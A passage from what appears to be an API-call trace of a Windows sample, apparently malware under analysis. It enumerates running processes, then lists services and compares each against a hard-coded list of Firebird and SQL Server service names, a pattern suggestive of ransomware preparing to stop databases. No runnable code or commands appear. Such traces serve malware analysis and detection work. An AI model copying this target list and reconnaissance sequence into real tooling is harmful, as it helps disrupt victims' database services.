[0271.313] lstrlenW (lpString="svchost.exe") returned 11 [0271.313] Process32NextW (in: hSnapshot=0x3d8, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x290, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0271.313] lstrlenW (lpString="svchost.exe") returned 11 [0271.313] Process32NextW (in: hSnapshot=0x3d8, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0271.313] lstrlenW (lpString="svchost.exe") returned 11 [0271.313] Process32NextW (in: hSnapshot=0x3d8, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0271.314] lstrlenW (lpString="svchost.exe") returned 11 [0271.314] Process32NextW (in: hSnapshot=0x3d8, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2e, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0271.314] lstrlenW (lpString="svchost.exe") returned 11 [0271.314] Process32NextW (in: hSnapshot=0x3d8, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0271.314] lstrlenW (lpString="audiodg.exe") returned 11 [0271.314] Process32NextW (in: hSnapshot=0x3d8, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0271.314] lstrlenW (lpString="svchost.exe") returned 11 [0271.314] Process32NextW (in: hSnapshot=0x3d8, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x214, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0271.315] lstrlenW (lpString="svchost.exe") returned 11 [0271.315] Process32NextW (in: hSnapshot=0x3d8, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x440, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x1a8, pcPriClassBase=8, dwFlags=0x0, szExeFile="userinit.exe")) returned 1 [0271.315] lstrlenW (lpString="userinit.exe") returned 12 [0271.315] Process32NextW (in: hSnapshot=0x3d8, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0271.315] lstrlenW (lpString="dwm.exe") returned 7 [0271.315] Process32NextW (in: hSnapshot=0x3d8, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x458, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1e, th32ParentProcessID=0x440, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0271.315] lstrlenW (lpString="explorer.exe") returned 12 [0271.315] Process32NextW (in: hSnapshot=0x3d8, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x484, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0271.316] lstrlenW (lpString="spoolsv.exe") returned 11 [0271.316] Process32NextW (in: hSnapshot=0x3d8, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0271.316] lstrlenW (lpString="taskhost.exe") returned 12 [0271.316] Process32NextW (in: hSnapshot=0x3d8, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0271.316] lstrlenW (lpString="svchost.exe") returned 11 [0271.316] Process32NextW (in: hSnapshot=0x3d8, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x598, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="chrome64b.exe")) returned 1 [0271.316] lstrlenW (lpString="chrome64b.exe") returned 13 [0271.316] Process32NextW (in: hSnapshot=0x3d8, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x588, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0271.317] lstrlenW (lpString="reader_sl.exe") returned 13 [0271.317] Process32NextW (in: hSnapshot=0x3d8, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x52c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x1c8, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0271.317] lstrlenW (lpString="taskhost.exe") returned 12 [0271.317] Process32NextW (in: hSnapshot=0x3d8, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x348, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x370, pcPriClassBase=13, dwFlags=0x0, szExeFile="consent.exe")) returned 1 [0271.317] lstrlenW (lpString="consent.exe") returned 11 [0271.317] Process32NextW (in: hSnapshot=0x3d8, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x348, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x370, pcPriClassBase=13, dwFlags=0x0, szExeFile="consent.exe")) returned 0 [0271.317] CloseHandle (hObject=0x3d8) returned 1 [0271.317] Sleep (dwMilliseconds=0x1f4) [0271.900] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x4623608 [0271.901] EnumServicesStatusExW (in: hSCManager=0x4623608, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x212ff44, lpServicesReturned=0x212ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x212ff44, lpServicesReturned=0x212ff5c, lpResumeHandle=0x0) returned 0 [0271.901] GetLastError () returned 0xea [0271.901] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x11e4) returned 0x4ca0060 [0271.901] EnumServicesStatusExW (in: hSCManager=0x4623608, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x4ca0060, cbBufSize=0x11e4, pcbBytesNeeded=0x212ff44, lpServicesReturned=0x212ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x4ca0060, pcbBytesNeeded=0x212ff44, lpServicesReturned=0x212ff5c, lpResumeHandle=0x0) returned 1 [0271.902] CloseServiceHandle (hSCObject=0x4623608) returned 1 [0271.902] lstrlenW (lpString="Appinfo") returned 7 [0271.902] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0271.902] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0271.902] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0271.902] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0271.902] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0271.902] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0271.902] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0271.902] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0271.902] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0271.902] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0271.902] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0271.902] lstrlenW (lpString="AudioSrv") returned 8 [0271.902] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0271.902] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0271.902] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0271.902] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0271.902] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0271.902] lstrlenW (lpString="BFE") returned 3 [0271.902] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0271.902] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0271.902] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0271.902] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0271.902] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0271.902] lstrlenW (lpString="CryptSvc") returned 8 [0271.902] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0271.902] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0271.902] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0271.903] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0271.903] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0271.903] lstrlenW (lpString="CscService") returned 10 [0271.903] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0271.903] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0271.903] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0271.903] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0271.903] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0271.903] lstrlenW (lpString="DcomLaunch") returned 10 [0271.903] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0271.903] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0271.903] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0271.903] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0271.903] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0271.903] lstrlenW (lpString="Dhcp") returned 4 [0271.903] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0271.903] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0271.903] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0271.903] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0271.903] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0271.903] lstrlenW (lpString="Dnscache") returned 8 [0271.903] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0271.903] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0271.903] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0271.903] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0271.903] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0271.903] lstrlenW (lpString="DPS") returned 3 [0271.903] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0271.903] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0271.903] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0271.903] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0271.903] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0271.903] lstrlenW (lpString="eventlog") returned 8 [0271.903] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0271.903] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0271.904] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0271.904] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0271.904] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0271.904] lstrlenW (lpString="EventSystem") returned 11 [0271.904] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0271.904] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0271.904] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0271.904] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0271.904] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0271.904] lstrlenW (lpString="gpsvc") returned 5 [0271.904] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0271.904] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0271.904] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0271.904] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0271.904] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0271.904] lstrlenW (lpString="iphlpsvc") returned 8 [0271.904] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0271.904] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0271.904] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0271.904] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0271.904] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0271.904] lstrlenW (lpString="LanmanServer") returned 12 [0271.904] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0271.904] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0271.904] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0271.904] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0271.904] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0271.904] lstrlenW (lpString="LanmanWorkstation") returned 17 [0271.904] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0271.904] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0271.904] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0271.904] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0271.904] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0271.904] lstrlenW (lpString="lmhosts") returned 7 [0271.904] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0271.904] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0271.905] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0271.905] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0271.905] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0271.905] lstrlenW (lpString="MMCSS") returned 5 [0271.905] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0271.905] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0271.905] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0271.905] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0271.905] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0271.905] lstrlenW (lpString="MpsSvc") returned 6 [0271.905] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0271.905] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0271.905] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0271.905] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0271.905] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0271.905] lstrlenW (lpString="Netman") returned 6 [0271.905] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0271.905] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0271.905] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0271.905] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0271.905] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0271.905] lstrlenW (lpString="netprofm") returned 8 [0271.905] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0271.905] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0271.905] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0271.905] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0271.905] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0271.905] lstrlenW (lpString="NlaSvc") returned 6 [0271.905] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0271.905] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0271.905] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0271.905] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0271.906] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0271.906] lstrlenW (lpString="nsi") returned 3 [0271.906] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0271.906] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0271.906] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0271.906] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0271.906] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0271.906] lstrlenW (lpString="PcaSvc") returned 6 [0271.906] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0271.906] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0271.906] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0271.906] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0271.906] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0271.906] lstrlenW (lpString="PlugPlay") returned 8 [0271.906] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0271.906] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0271.906] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0271.906] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0271.906] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0271.906] lstrlenW (lpString="Power") returned 5 [0271.906] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0271.906] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0271.906] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0271.906] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0271.906] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0271.906] lstrlenW (lpString="ProfSvc") returned 7 [0271.906] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0271.906] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0271.906] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0271.906] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0271.906] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0271.906] lstrlenW (lpString="RpcEptMapper") returned 12 [0271.906] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0271.907] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0271.907] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0271.907] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0271.907] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0271.907] lstrlenW (lpString="RpcSs") returned 5 [0271.907] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0271.907] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0271.907] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0271.907] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0271.907] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0271.907] lstrlenW (lpString="SamSs") returned 5 [0271.907] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0271.920] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0271.920] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0271.920] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0271.920] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0271.920] lstrlenW (lpString="Schedule") returned 8 [0271.920] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0271.920] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0271.920] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0271.920] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0271.920] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0271.920] lstrlenW (lpString="SENS") returned 4 [0271.920] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0271.920] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0271.920] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0271.920] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0271.920] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0271.920] lstrlenW (lpString="ShellHWDetection") returned 16 [0271.920] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0271.920] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0271.920] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0271.920] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0271.920] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0271.920] lstrlenW (lpString="Spooler") returned 7 [0271.920] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0271.920] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0271.920] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0271.920] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0271.920] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0271.920] lstrlenW (lpString="SysMain") returned 7 [0271.920] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0271.920] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0271.921] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0271.921] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0271.921] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0271.921] lstrlenW (lpString="Themes") returned 6 [0271.921] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0271.921] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0271.921] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0271.921] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0271.921] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0271.921] lstrlenW (lpString="TrkWks") returned 6 [0271.921] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0271.921] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0271.921] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0271.921] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0271.921] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0271.921] lstrlenW (lpString="UxSms") returned 5 [0271.921] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0271.921] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0271.921] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0271.921] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0271.921] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0271.921] lstrlenW (lpString="WdiServiceHost") returned 14 [0271.921] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0271.921] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0271.921] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0271.921] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0271.921] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0271.921] lstrlenW (lpString="WdiSystemHost") returned 13 [0271.921] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0271.921] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0271.921] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0271.921] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0271.921] 